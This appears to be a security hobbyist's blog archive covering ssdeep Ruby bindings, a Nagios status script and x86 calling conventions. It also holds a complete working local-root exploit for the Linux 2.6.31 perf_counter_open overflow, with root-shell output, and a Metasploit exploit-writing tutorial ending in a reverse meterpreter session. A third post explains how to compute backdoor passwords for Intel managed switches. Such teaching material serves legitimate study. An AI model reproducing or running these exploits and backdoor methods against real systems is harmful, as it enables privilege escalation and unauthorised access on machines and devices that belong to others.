redstack

Ssdeep Ruby Bindings

xipe — Sat, 10 Apr 2010 19:24:00 +0200

As I couldn't find any ruby bindings for ssdeep, I decided to write it as my first ruby extension today ... :)

Installation (prerequisites)

You first need to compile/install the ssdeep library. On debian testing:

$ apt-get install ssdeep

On other Linuxes/Unixes:

$ wget http://sourceforge.net/projects/ssdeep/files/ssdeep-2.4/ssdeep-2.4.tar.gz/download
$ tar zxvf ssdeep-2.4.tar.gz
$ cd ssdeep-2.4/
$ ./configure --prefix=/opt
$ make
$ sudo make install

On windows:

$ There is no real shell, and I will not make screen-shots... ;)

Installation (the real one)

To install it using rubygems:

$ gem install ssdeep

To install it using rubygems with a non standard ssdeep installatoin path:

$ gem install ssdeep -- --with-ssdeep-dir=/path/to/ssdeep

Usage

The bindings follow the ssdeep APIs: (for extended information on this functions, check the ssdeep API doc.)

fuzzy_compare("3:qGOvn:qRn", "3:Wv:Wv"): Compare two fuzzy hashes.
fuzzy_hash_buf("data"): return the fuzzy hash of the data buffer.
fuzzy_hash_filename("/path/to/file"): return the fuzzy hash of the file

fuzzy_hash_file isn't implemented. Here is a little usage example :

require 'ssdeep'
# Fuzzy hash a buffer's content
hash1 = Ssdeep.fuzzy_hash_buf("This string contains the data of first file :)")
# Fuzzy hash the content of the file '/path/to/file'
hash2 = Ssdeep.fuzzy_hash_filename("/path/to/file")
# Compare the 2 hashes, a value between 0 (no match) and 100 (full match) is returned
Ssdeep.fuzzy_compare(hash1, hash2)

Et voilà :)

Links

Ssdeep Ruby bindings source code

RubyGems project page

Ssdeep project page

Linux kernel 2.6.31 perf_counter_open exploit

xipe — Thu, 24 Sep 2009 16:07:00 +0200

Well, it has been a while since my last technical post ... More than 1 year ?!? Wow, time runs so fast :)

So let's go for a post about Linux kernel exploitation (yeah, I know, sounds cool). We will exploit a quite recent bug in kernel 2.6.31 (still unpatched while writing this) in the perf_counter_open syscall (CVE 2009-3234) to gain root privileges. As real hackers say, f34R.

But, let's start by the begining: the bug.

perf_copy_attr and the dual fail

The perf_copy_attr method is meant to copy a data structure (of type perf_count_attr) from user space to kernel space. Its definition is:

static int perf_copy_attr(struct perf_counter_attr __user *uattr,
                          struct perf_counter_attr *attr)

With uattr being a pointer to the (source) user space structure, and attr being a pointer to the (destination) kernel space structure.

Here is the perf_copy_attr code:

static int perf_copy_attr(struct perf_counter_attr __user *uattr, struct perf_counter_attr *attr)
{
  [...]
  u32 size;
  [...]
  ret = get_user(size, &uattr->size);
  [...]
  /*
   * If we're handed a bigger struct than we know of,
   * ensure all the unknown bits are 0.
   */
  if (size > sizeof(*attr)) {
    unsigned long val;
    unsigned long __user *addr;
    unsigned long __user *end;

    addr = PTR_ALIGN((void __user *)uattr + sizeof(*attr), sizeof(unsigned long));
    end  = PTR_ALIGN((void __user *)uattr + size, sizeof(unsigned long));

    for (; addr < end; addr += sizeof(unsigned long)) {
      ret = get_user(val, addr);
      if (ret)
        return ret;
      if (val)
        goto err_size;
    }
  }

  ret = copy_from_user(attr, uattr, size);
  [...]
}

Let's look at what is happening

First, size is copied from the user data :

ret = get_user(size, &uattr->size);

Then, size bytes from user buffer pointed by uattr are copied to kernel buffer pointed by attr:

ret = copy_from_user(attr, uattr, size);

This means that if the user supply uattr with uattr->size greater than the size of the buffer pointed by attr, the buffer will be overflowed. That's the first fail.

But in between lines 7 and 32, there is comment followed by a block of code. This comment says:

/*
 * If we're handed a bigger struct than we know of,
 * ensure all the unknown bits are 0.
 */

Without reading the code, you would think that you can overflow the buffer only with zeros, which, while not making the exploitation impossible, makes it more difficult. But, if you read the code, you will see this:

unsigned long __user *addr;

for (; addr < end; addr += sizeof(unsigned long)) {
        ret = get_user(val, addr);
        if (ret)
                return ret;
        if (val)
                goto err_size;
}

As pointer's arithmetic says that adding 1 to a pointer adds the size of the pointed value to the offset contained in the pointer, thus addr += sizeof(unsigned long) adds 4*4 to the offset contained in addr on a 32 bits system. This means that this loop checks that 1 long equals 0 every 4 longs.

That's the second fail

Exploitation

Note:

If you are not comfortable with stack based buffer overflow, you should first read this famous article from Aleph1: Smashing The Stack For Fun And Profit

The interesting thing for us is that perf_copy_attr is called directly from the perf_counter_open syscall and that the destination buffer is on the stack, so it's a typical stack based buffer overflow :

SYSCALL_DEFINE5(perf_counter_open,
                struct perf_counter_attr __user *, attr_uptr,
                pid_t, pid, int, cpu, int, group_fd, unsigned long, flags)
{
[...]
        struct perf_counter_attr attr;
[...]
        ret = perf_copy_attr(attr_uptr, &attr);
[...]

Now, let's have a look at the perf_counter_attr structure:

/*
 * Hardware event to monitor via a performance monitoring counter:
 */
struct perf_counter_attr {
        __u32                   type;
        __u32                   size;
[...] /* Total struct length: 64 bytes */

To trigger the overflow and modify the kernel code flow, we need to make an attr buffer so:

attr.size > sizeof(struct perf_counter_attr)
After the first 64 bytes of our buffer, we place zeroes so the loop in perf_copy_attr would not kick us
Rewrite the perf_counter_open return address located in the stack to our code

Modifying the kernel code flow

Note:

Before continuing, something you should remember is that the Linux kernel shares the address space of the process, so you can access to your process' memory from the kernel quite as easily as if you were accessing it from your program.

The following code is self-explanatory. We start by setting attr.size to 128, then the first loop fill the part of attr which will overflow with the address we want to jump to when in kernel-land, and the second loop puts 0s where needed so we will pass the loop test in perf_copy_attr. At the end, we just make a syscall to perf_counter_open.

#define SIZEOF_ATTR 64
#define BUFFER_LEN 128

void start()
{
        uint32_t *attr = malloc(BUFFER_LEN);
        uint32_t *stack_overflow = (void *)attr + SIZEOF_ATTR;
        uint32_t *aligned_overflow = PTR_ALIGN(stack_overflow, sizeof(unsigned long));

        memset(attr, 0, SIZEOF_ATTR);

        /* size is the second u32 in the struct */
        attr[1] = 128;

        while (stack_overflow < attr + (BUFFER_LEN / sizeof (*attr)))
        {
                *stack_overflow = (uint32_t)kernel_code;
                stack_overflow ++;
        }

        /* then put 0s where we need them ... */
        while (aligned_overflow < attr + (BUFFER_LEN / sizeof (*attr)))
        {
                *aligned_overflow = 0;
                aligned_overflow += 4;
        }

        syscall(__NR_perf_counter_open, attr, 0, 0, 0, 0);
}

So, if all wants well when the perf_counter_open function returns, the code flow should be redirected to our code and executed with kernel privileges (ring0).

The Kernel trip

What we need to do while in ring0 (kernel land), is to modify the credentials of our process to get the root privileges and exit the kernel. So, when back in ring3 (user land) we will start a shell from our process with the root privileges. We start by writing our kernel_code function as this:

void    kernel_code()
{
        update_cred();
        exit_kernel();
}

Upgrading credentials

Credentials of a process are stored in the task_struct. The task_struct is a huge structure holding everything about a process. The current process' task_struct address is always stored on top of the kernel stack - sizeof(long). The task_struct can be organised in different ways depending of kernel compilation options. So, even with the address of this structure, we cannot calculate to exact position of the credential-related fields. On latest kernel, credential are stored in cred structure pointed by the task_struct.

Here is how the task_struct links the credentials:

struct task_struct {
[...]
/* process credentials */
        const struct cred *real_cred;   /* objective and real subjective task
                                         * credentials (COW) */
        const struct cred *cred;        /* effective (overridable) subjective task
                                         * credentials (COW) */
[...]

And here is the cred structure:

struct cred {
        atomic_t        usage;
        uid_t           uid;            /* real UID of the task */
        gid_t           gid;            /* real GID of the task */
        uid_t           suid;           /* saved UID of the task */
        gid_t           sgid;           /* saved GID of the task */
        uid_t           euid;           /* effective UID of the task */
        gid_t           egid;           /* effective GID of the task */
        uid_t           fsuid;          /* UID for VFS ops */
        gid_t           fsgid;          /* GID for VFS ops */
        unsigned        securebits;     /* SUID-less security management */
        kernel_cap_t    cap_inheritable; /* caps our children can inherit */
        kernel_cap_t    cap_permitted;  /* caps we're permitted */
        kernel_cap_t    cap_effective;  /* caps we can actually use */
        kernel_cap_t    cap_bset;       /* capability bounding set */
#ifdef CONFIG_KEYS
        unsigned char   jit_keyring;    /* default keyring to attach requested
                                         * keys to */
        struct key      *thread_keyring; /* keyring private to this thread */
        struct key      *request_key_auth; /* assumed request_key authority */
        struct thread_group_cred *tgcred; /* thread-group shared credentials */
#endif
#ifdef CONFIG_SECURITY
        void            *security;      /* subjective LSM security */
#endif
        struct user_struct *user;       /* real user ID subscription */
        struct group_info *group_info;  /* supplementary groups for euid/fsgid */
        struct rcu_head rcu;            /* RCU deletion hook */
};

As you may have noticed, task_struct links two cred structures. Under normal circumstances, the two pointers have the same value, thus pointing to the same cred structure.

This plus the very special definition of the cred structure having all the UIDs/GIDs side by side define a special signature. We will be able to find the cred structure's address by walking the task_struct searching for two field having the same exact value and looking like pointers to objects in the kernel memory space.

Then we will check if the pointed memory looks like a cred structure by looking at the UIDs/GIDs suite. When the cred structure will be found, we will just have to put 0s in the UIDs and GIDs to make our process have the root privileges.

Here is the code of our update_cred function:

static void update_cred()
{
        uint32_t        i;
        uint32_t        *task = get_current(); /* Pointer to the task_struct */
        uint32_t        *cred = 0;

        for (i = 0; i < 1024; i++)
        {
                cred = (uint32_t *)task[i];
                if (cred == (uint32_t *)task[i+1] && cred > (uint32_t *)0xc0000000) {
                        cred++; /* Get ride of the cred's 'usage' field */
                        if (cred[0] == uid && cred[1] == gid
                            && cred[2] == uid && cred[3] == gid
                            && cred[4] == uid && cred[5] == gid
                            && cred[6] == uid && cred[7] == gid)
                        {
                                /* Get root */
                                cred[0] = cred[2] = cred[4] = cred[6] = 0;
                                cred[1] = cred[3] = cred[5] = cred[7] = 0;
                                break;
                        }
                }
        }
}

Well, we now need to go back to our process ...

Exiting kernel

Exiting kernel will not be difficult, all we have to do is to prepare the stack and call the iret instruction.

As defined in the Intel manuals, iret returns control to the program. When calling iret the processor pops data from the stack and place it in the EIP register, CS segment register, EFLAGS register, ESP register and finally SS segment register. The segment registers and EFLAGS will be set to "standard" value while we will give an address for ESP pointing to a memory buffer defined in our program (exit_stack), and the address of our spawn_shell function for EIP.

After the iret instruction will be executed we will be back in our program, at the start of the spawn_shell function, in user mode with the root's privileges.

Here is the code:

static void exit_kernel()
{
        __asm__ __volatile__ (
        "movl %0, 0x10(%%esp) ;"
        "movl %1, 0x0c(%%esp) ;"
        "movl %2, 0x08(%%esp) ;"
        "movl %3, 0x04(%%esp) ;"
        "movl %4, 0x00(%%esp) ;"
        "iret"
        : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
            "i" (USER_CS), "r" (spawn_shell)
        );
}

Last, but not least ... spawning a shell !

Now, we are back in user land (ring3), and as we changed our stack address, and smashed some segment registers (like GS), we will not rely on the libc. So, we will start our shell in assembler.

It's quite simple: A syscall to write to print a message, and then a syscall to execve to start the shell;

spawn_shell:

static inline void spawn_shell()
{
        static char *s = "Starting shell\n";
        static char *t[] = {"/bin/sh", 0};

        my_syscall(SYS_write, 1, (unsigned int)s, mystrlen(s), 0, 0);
        my_syscall(SYS_execve, (unsigned int)*t, (unsigned int)t, 0, 0, 0);
}

my_syscall:

unsigned int my_syscall(unsigned int nb, unsigned int arg1, unsigned int arg2,
                        unsigned int arg3, unsigned int arg4, unsigned int arg5)
{
        unsigned int ret;
        __asm__ (
        "mov %1, %%eax ;"
        "mov %2, %%ebx ;"
        "mov %3, %%ecx ;"
        "mov %4, %%edx ;"
        "mov %5, %%esi ;"
        "mov %6, %%edi ;"
        "int $0x80 ;"
        "mov %%eax, %0 ;"
        : "=r" (ret)
        : "m" (nb), "m" (arg1), "m" (arg2), "m" (arg3), "m" (arg4), "m" (arg5)
        );
        return ret;
}

And we are done !

You should now have a root shell :) This is the result on a ubuntu jaunty host with a 2.6.31 kernel (from ubuntu repositories):

xipe@tomate:~/exploit$
xipe@tomate:~/exploit$ id
uid=1000(xipe) gid=1000(xipe) groups=4(adm),20(dialout),24(cdrom),29(audio),46(plugdev),106(lpadmin),121(admin),122(sambashare),1000(xipe)
xipe@tomate:~/exploit$ ./sys_perf_counter_open_sploit
Starting shell
# id
uid=0(root) gid=0(root) groups=4(adm),20(dialout),24(cdrom),29(audio),46(plugdev),106(lpadmin),121(admin),122(sambashare),1000(xipe)
# uname -a
Linux tomate 2.6.31-10-generic #34-Ubuntu SMP Wed Sep 16 00:23:19 UTC 2009 i686 GNU/Linux
#

Exploit code

The exploit code and binary can be found here:: Download source

Download binary

That's all folks ! Have fun !

Welcome to Denmark !

xipe — Sat, 29 Aug 2009 10:49:00 +0200

For the ones who were wondering, this blog is not dead, I just had some changes in my life ...

After traveling a month in China, I moved to Copenhagen ... And I am still unpacking all my stuff and wondering how I will be able to put everything in our new apartment located somewhere around here :)

Also, I am half French, half Italian, and as neither of this 2 countries are known to have aptitudes in learning new languages, it will certainly take a little while for me to learn Danish. (I already started but without a lot of success) ...

So here I am ... I will be looking for a job in Copenhagen during next weeks, and trying to find a good security related subject to blog about ...

Perhaps another article on Metasploit or something about Symbian phones' security ... I still don't know ...

Intel(r) switches backdoor

xipe — Mon, 19 May 2008 21:48:00 +0200

I recently got an Intel(r) Express 530T switch from eBay. It's a "Manageable" switch, this means that you can connect to the switch through a null modem cable, telnet or a web interface to modify the switch configuration (Change MAC address filtering, create/delete VLANs, change ports speeds an priority, ...).

But when I tried to connect to the switch, I discovered that the switch hadn't been reseted, and that the seller didn't gave me the username and password needed to manage the switch.

After trying to find any reset button around, under, and even inside the switch, I sent a mail to the seller and contacted the Intel support.

As the seller wasn't responding and the Intel support wasn't able to give me a reset procedure, I crawled the web, and managed to find a little Intel(r) utility "that does not exists", according to the russian website that was distributing it (sorry, I can't remember the address).

This utility compute a backdoor password depending of your switch's MAC address.

The documentation that can be found with this Intel(r) utility, says that it works with :

Intel(R) Express 330T Hub with Management Module

Intel(R) NetStructure(TM) 470T/470F Switches

Intel(R) Express 460T Standalone Switch

Intel(R) Express 530T/535T Stackable Switches

It also says that you must let the usename blank, and just enter the password and that the backdoor password only works from the management port on the switch (It will not work through telnet nor the web interface).

So, after getting a password for my switch, I started to look at the password generation algorithm.

Here is the code of the password generation function :

After reading this code, I managed to draw this little diagram of the generation algorithm:

(Saying M1 to M6 are the 6 MAC address bytes; xor is an exclusive or between two bytes; ! is a bit swapping of all bits eg: all 0s become 1s and all 1s become 0s; shl1 is a left shift of 1 bit; shr7 is a right shift of 7 bits)

After running this transformations two times on the buffer originally containing the switch MAC address, the password is the hexadecimal representation of M4,M5,M6.

Thus, for example, if M4=0xA0, M5=0×55 and M6= 0xEF, the password will be : A055EF.

Note: letters are always in uppercase.

Here you can find an implementation of this algorithm :

intel_backdoor.c (C source code)

intel_backdoor.gz (Linux x86 binary)

intel_backdoor.exe(Windows binary)

Just for fun : a demo :)

I hope you enjoyed this post as much as I enjoyed writing it ;)

Nagios status report in Ion3 statusbar

xipe — Thu, 08 May 2008 21:54:00 +0200

Here is a little script that permits to report one or more nagios servers status in the ion3 status bar:

statusd_nginfo.lua (Download nginfo.lua)

--
-- statusd_nginfo.lua
--
-- Made by Raffaello Pelagalli
--
-- Started on  Sun Mar  9 00:22:31 2008 Raffaello Pelagalli
-- Last update Thu May  8 23:29:32 2008 Raffaello Pelagalli
--
-- This library is free software; you can redistribute it and/or
-- modify it under the terms of the GNU Lesser General Public
-- License as published by the Free Software Foundation; either
-- version 2.1 of the License, or (at your option) any later version.
--
-- This library is distributed in the hope that it will be useful,
-- but WITHOUT ANY WARRANTY; without even the implied warranty of
-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-- Lesser General Public License for more details.
--
-- You should have received a copy of the GNU Lesser General Public
-- License along with this library; if not, write to the Free Software
-- Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
-- 02111-1307  USA
--

-- Nagios checking script
-- Reports nagios status in ion status bar
-- Sample configuration:
-- mod_statusbar.launch_statusd{
--    ...
--    nginfo = {
--       urls = {
--          "http://user1:password1@server1.domain1.tld/cgi-bin/nagios2/nginfo.pl",
--          "http://user2:password2@server2.domain2.tld/nagios/cgi-bin/nginfo.pl",
--       },
--    }
--    ...
-- }
--
-- Need to be used with nginfo.pl script from
-- http://redstack.net/blog/index.php/2008/05/08/nagios-status-report-in-ion3-statusbar.html

require "lxp"
local ng_timer
local error = false

local status = {0, 0, 0, 0}

local defaults = {
   update_interval=30*1000,
   urls = { },
}

local settings = table.join(statusd.get_config("nginfo"), defaults)

nginfo_callbacks = {
   StartElement = function (parser, name)
                     if (name == "current_state") then
                        nginfo_callbacks.CharacterData = function (parser, val)
                                                            status[tonumber(val) + 1] =
                                                               status[tonumber(val) + 1] + 1
                                                         end
                     end
                  end,
   EndElement = function (parser, name)
                   if (name == "current_state") then
                      nginfo_callbacks.CharacterData = false
                   end
                end,
   CharacterData = false,
}

function parse (data)
   p = lxp.new(nginfo_callbacks)
   p:parse(b)
   p:close()
end

function get_nginfo ()
   status = {0, 0, 0, 0}
   error = false
   local http = require("socket.http")
   socket.http.TIMEOUT=10
   local errstr = " ERROR while reading data"
   for n, url in pairs(settings.urls) do
      b, c, h = http.request(url)
      if not (c == 200) then
         error = true
         errstr = errstr .. " (NET " .. tostring(c) .. ")"
      else
         local st, err = pcall(parse, b)
         if not st then
            error = true
            errstr = errstr .. " (XML" .. err .. ")"
         end
      end
   end

   if not error then
      errstr = ""
   end
   return "OK: " .. tostring(status[1])
      .. ", WARN: " .. tostring(status[2])
      .. ", ERROR: " .. tostring(status[3])
      .. ", UNKN: " .. tostring(status[4])
      .. errstr
end

local function update_nginfo()
   statusd.inform("nginfo", get_nginfo())
   if (status[3] > 0 or status[4] > 0) then
      statusd.inform("nginfo_hint", "critical")
   elseif (status[2] > 0) then
      statusd.inform("nginfo_hint", "important")
   else
      statusd.inform("nginfo_hint", "normal")
   end
   ng_timer:set(settings.update_interval, update_nginfo)
end

-- Init
ng_timer=statusd.create_timer()
update_nginfo()

This nginfo.pl script needs to be installed on nagios servers :

nginfo.pl (Download nginfo.pl)

#!/usr/bin/perl

use Nagios::StatusLog;

my $log = Nagios::StatusLog->new(
Filename => "/var/cache/nagios2/status.dat",
Version => 2.0
);
print("Content-type: text/xml\n\n");
print("");
print("\n");
foreach my $host ($log->list_hosts()) {
        print("\n$host\n");

        foreach my $serv ($log->list_services_on_host($host)) {
                print ("\n");
                print (ref $serv);
                my $st  = $log->service($host, $serv);
                foreach $tag ($st->list_tags()) {
                        print("<$tag>$$st{$tag}\n");
                }
                print ("\n");
        }
        print("\n\n")
}
print("");

Information on installing lua scipts for ion3 can be found here

Faking fingerprints

xipe — Wed, 02 Apr 2008 11:57:00 +0200

I just discovered this very cool article about faking fingerprints: How to fake fingerprints?.

I love CCC :)

Writing exploits for Metasploit 3.0

xipe — Thu, 24 Jan 2008 20:23:00 +0100

This article is about writing exploit using the Metasploit Framework, for very secure software: bof-server ;)

Bof-server has been written especially to be exploited during this article, and as you already guessed by looking at it's name, we will exploit a stack overflow bug. You can find bof-server here:

bof-server source code

bof-server binary for Windows

Before starting I would like to say that I am not a Metasploit expert, so feel free to correct me if something is not done the right way.

Bof-server

First of all, lets see how bof-server works. To start it on port 4242 use the command below:

> bof-server.exe 4242

The bof-server implements 2 commands : version and quit. Here is a typical usage of this highly critical application :) :

> telnet localhost 4242
> version
bof-server v0.01
> quit

Bof-server's bug

Our bof-server permits remote code execution due to a stack based buffer overflow introduced by the getl(int fd, char *s) function.

If you need more informations regarding stack based overflows you can read this famous article from Aleph1 Smashing the stack for fun and profit .

By passing long lines to bof-server, we will crash it :

> perl -e "print 'A'x1024" | nc localhost 4242
> telnet localhost 4242
Connecting To localhost...Could not open connection to the host, on port 4242: Connect failed

Exploitation using Metasploit

Now comes the interesting things ... :)

To make a metasploit exploit module, the easiest way to start is to create myexploit.rb in the modules/exploits/os/type/ metasploit subdirectory.

In our case, we will create modules/exploits/windows/dummy/bof-server.rb containing this code:

require 'msf/core'
module Msf
  # class name should reflect directories
  class Exploits::Windows::Dummy::BofServer < Msf::Exploit::Remote
    include Exploit::Remote::Tcp

    # exploit relative informations
    def initialize(info = {})
      super(update_info(info,
                        'Name'           => 'bof-server exploit',
                        'Description'    => 'This is an exploit for bof-server v0.01',
                        'Author'         => 'xipe', # You ;)
                        'Version'        => '1.0',
                        'Payload'        =>
                        {
                          'Space'    => 1024, # Space that payload can use.
                                              # We don't know yet
                          'BadChars' => "\x00", # Chars that payloads should not
                                                # contains. We don't know yet
                        },
                        'Platform'   => 'win',
                        'Targets'    =>
                        [
                         [ 'Windows XP SP2 English',
                             {
                               'Platform' =>'win',
                               'Ret' => 0xaaaaaaaa # Return address. We don't know yet
                             }
                          ],
                        ],
                        'DefaultTarget' => 0))
    end

    def check
      # Here we should check if the target is vulnerable
      # This function should not crash the target
    end

    def exploit
      # Here we should exploit the target
    end
  end
end

Now it's time to get missing informations, we already know that sending 1024 bytes of data makes our server crash.

Metasploit gives a very cool tool which permits you to know how many bytes need to be sent to fill the remote buffer and crash the target. This tool is composed of 2 scripts: pattern_create.rb and pattern_offset.rb.

We will not use pattern_create.rb, but the pattern_create() function in your exploit script instead.

Here is your new exploit function of our script:

def exploit
  # Here we should exploit the target
  connect
  buf = pattern_create(1024)
  sock.put(buf)
  sock.get
  disconnect
end

We can now fire-up our preferred debugger, attach the bof-server process, and start our exploit using msf_cli.

> msfcli windows/dummy/bof-server PAYLOAD=windows/meterpreter/bind_tcp RPORT=4242 RHOST=127.0.0.1 E

The bof-server should have crashed. Giving the crashing EIP address to pattern_offset.rb will return us how many bytes are needed to reach the saved return value.

> pattern_offset.rb 72413372
520

As you can see pattern_offest.rb returned 520, so 520 bytes + 4 are necessary to make the target crash.

Looking at the stack we should also be able to find the start address of the overflowed buffer (Here I got 0x22fb65).

We now have quite all the informations we needed for our exploit. The only things remaining are the BadChars.

BadChars are characters that should not be sent to the target, because the target modifies them, or behaves differently when finding them.

Again, in our debugger, by looking at the assembly code (around 0x4146D) we found that the target is doing something special with the 0x0A, 0x0D and 0x20 characters.

Using all this informations we are now able to put them in our exploit script.

Our exploit script looks like this:

require 'msf/core'
module Msf
  # class name should reflect directories
  class Exploits::Windows::Dummy::BofServer < Msf::Exploit::Remote
    include Exploit::Remote::Tcp

    # exploit relative informations
    def initialize(info = {})
      super(update_info(info,
                        'Name'           => 'bof-server exploit',
                        'Description'    => 'This is an exploit for bof-server v0.01',
                        'Author'         => 'xipe', # You ;)
                        'Version'        => '1.0',
                        'Payload'        =>
                        {
                          'Space'    => 500, # Space that payload can use.
                                             # We found that we needed 520 bytes to make the
                                             # bof-server crash, but we will only use 500, as
                                             # the end of this space can be modified by the target
                                             # before returning.
                          'StackAdjustment' => -3500, # Modify stack pointer at shellcode start
                                                      # so it can use the stack without writing
                                                      # on itself.
                          'BadChars' => "\x00\x20\x0D\x0A", # Chars that payloads should not
                                                            # contains.
                        },
                        'Platform'   => 'win',
                        'Targets'    =>
                        [
                         [ 'Windows XP SP2 English',
                             {
                               'Platform' =>'win',
                               'Ret' => 0x22fb65 # Return address.
                             }
                          ],
                        ],
                        'DefaultTarget' => 0))
    end

    def check
      # Here we should check if the target is vulnerable
      # This function should not crash the target
      connect
      buf = "version\n"
      sock.put(buf)
      res = sock.get
      disconnect
      if res =~ /bof-server v0.01/
        return Exploit::CheckCode::Vulnerable
      end
      return Exploit::CheckCode::Safe
    end

    def exploit
      # Here we should exploit the target
      connect
      buf = payload.encoded # Size of the payload is defined by Payload.Space in exploit infos.
      buf << make_nops(20) # Some more bytes, as we defined the payload to be 500 bytes long
      buf << [target.ret].pack('V') # Return address
      sock.put(buf) # send data
      sock.get

      handler # pass the connection to the payload handler
      disconnect
    end
  end
end

The only remaing thing is to test our exploit and to have fun :

> msfcli windows/dummy/bof-server PAYLOAD=windows/meterpreter/reverse_tcp RPORT=4242 RHOST=172.20.0.2 LHOST=172.20.0.1 E
[*] Started reverse handler
[*] Transmitting intermediate stager for over-sized stage...(89 bytes)
[*] Sending stage (2834 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (81931 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (172.20.0.1:4444 -> 172.20.0.2:1109)

meterpreter > ls

Listing: Z:\work\test\exploit\metasploit
========================================

Mode              Size   Type  Last modified                   Name
----              ----   ----  -------------                   ----
40777/rwxrwxrwx   0      dir   Thu Jan 01 01:00:00 +0100 1970  .
40777/rwxrwxrwx   0      dir   Thu Jan 01 01:00:00 +0100 1970  ..
100666/rw-rw-rw-  3001   fil   Thu Jan 01 01:00:00 +0100 1970  .gdbtkinit
100666/rw-rw-rw-  26814  fil   Thu Jan 01 01:00:00 +0100 1970  bof-server
100666/rw-rw-rw-  3200   fil   Thu Jan 01 01:00:00 +0100 1970  bof-server.c
100666/rw-rw-rw-  3211   fil   Thu Jan 01 01:00:00 +0100 1970  bof-server.c~
100777/rwxrwxrwx  26665  fil   Thu Jan 01 01:00:00 +0100 1970  bof-server.exe
100666/rw-rw-rw-  2880   fil   Thu Jan 01 01:00:00 +0100 1970  bof-server.o

meterpreter >

I hope you had as much fun as I had while writing this article, and I would like to thanks all the Metasploit team for giving us a such cool framework !

x86 calling conventions

xipe — Wed, 16 Jan 2008 05:45:00 +0100

This is the first article of a (I hope) long series of articles about 'The Basics: What everyone should know about' :)

The calling convention defines the way a function or a piece of code should arrange data before calling a function, and what to do after. It responds to questions like "In which order should I pass the arguments ?", "Should I clean something ?", "Where is the result ?", ...

There is a lot of different calling conventions. Here are the 3 I see the most of the time:

cdecl
stdcall
fastcall

cdecl convention

The cdecl convention is the default one used when working with a C compiler like GCC or MSVC. To use the cdecl scheme for a function, you can use this syntax (GCC):

__attribute__((cdecl)) int function(int arg1, int arg2, ...);

GCC will produce the following code when calling a cdecl function with 4 arguments :

push   0x4 ; arg4
push   0x3 ; arg3
push   0x2 ; arg2
push   0x1 ; arg1
call   _cdecl_fct
add    esp,0x10
mov    DWORD PTR [ebp-0x4],eax

As you can see, arguments are pushed into the stack in right to left order, and it's up to the caller to remove the arguments from the stack (Here this is done by add esp, 0x10). The result of the function is stored in the EAX register.

stdcall convention

The stdcall convention is the one used by Win32 APIs. It's also the easyest to use when writing ASM code, in my opinion. A function can be declared as a stdcall function in C with this syntax (GCC):

__attribute__((stdcall)) int function(int arg1, int arg2, ...);

GCC will produce the following code when calling a stdcall function with 4 arguments :

push   0x4 ; arg4
push   0x3 ; arg3
push   0x2 ; arg2
push   0x1 ; arg1
call   _stdcall_fct@16
mov    DWORD PTR [ebp-0x4],eax

As for the cdecl calling style, arguments are pushed from right to left, but in stdcall mode, the caller doesn't have to clean the arguments from the stack after calling the function. A stdcall function removes arguments from the stack before returning. This is done by using the ret n instruction most of the time.

Like for cdecl, result is in EAX.

fastcall convention

The fastcall convention is not standardized, but we will watch the way GCC and MSVC handle it. A function can be declared as a fastcall function in C with this syntax (GCC):

__attribute__((fastcall)) int function(int arg1, int arg2, ...);

GCC will produce the following code when calling a stdcall function with 4 arguments :

push   0x4 ; arg4
push   0x3 ; arg3
mov    edx,0x2 ; arg2
mov    ecx,0x1 ; arg1
call   @fastcall_fct@16
mov    DWORD PTR [ebp-0x4],eax

As you can see, not all the arguments are pushed into the stack. The first two arguments are passed via the ECX, for the first argument, and EDX, for the second argument. The remaining arguments are pushed into the stack from right to left. The called function has to pop the arguments from the stack before returning, like for stdcall.

The result is, as usual, in EAX :)

Hell-o World

xipe — Sat, 28 Jul 2007 13:13:00 +0200

Welcome to this blog !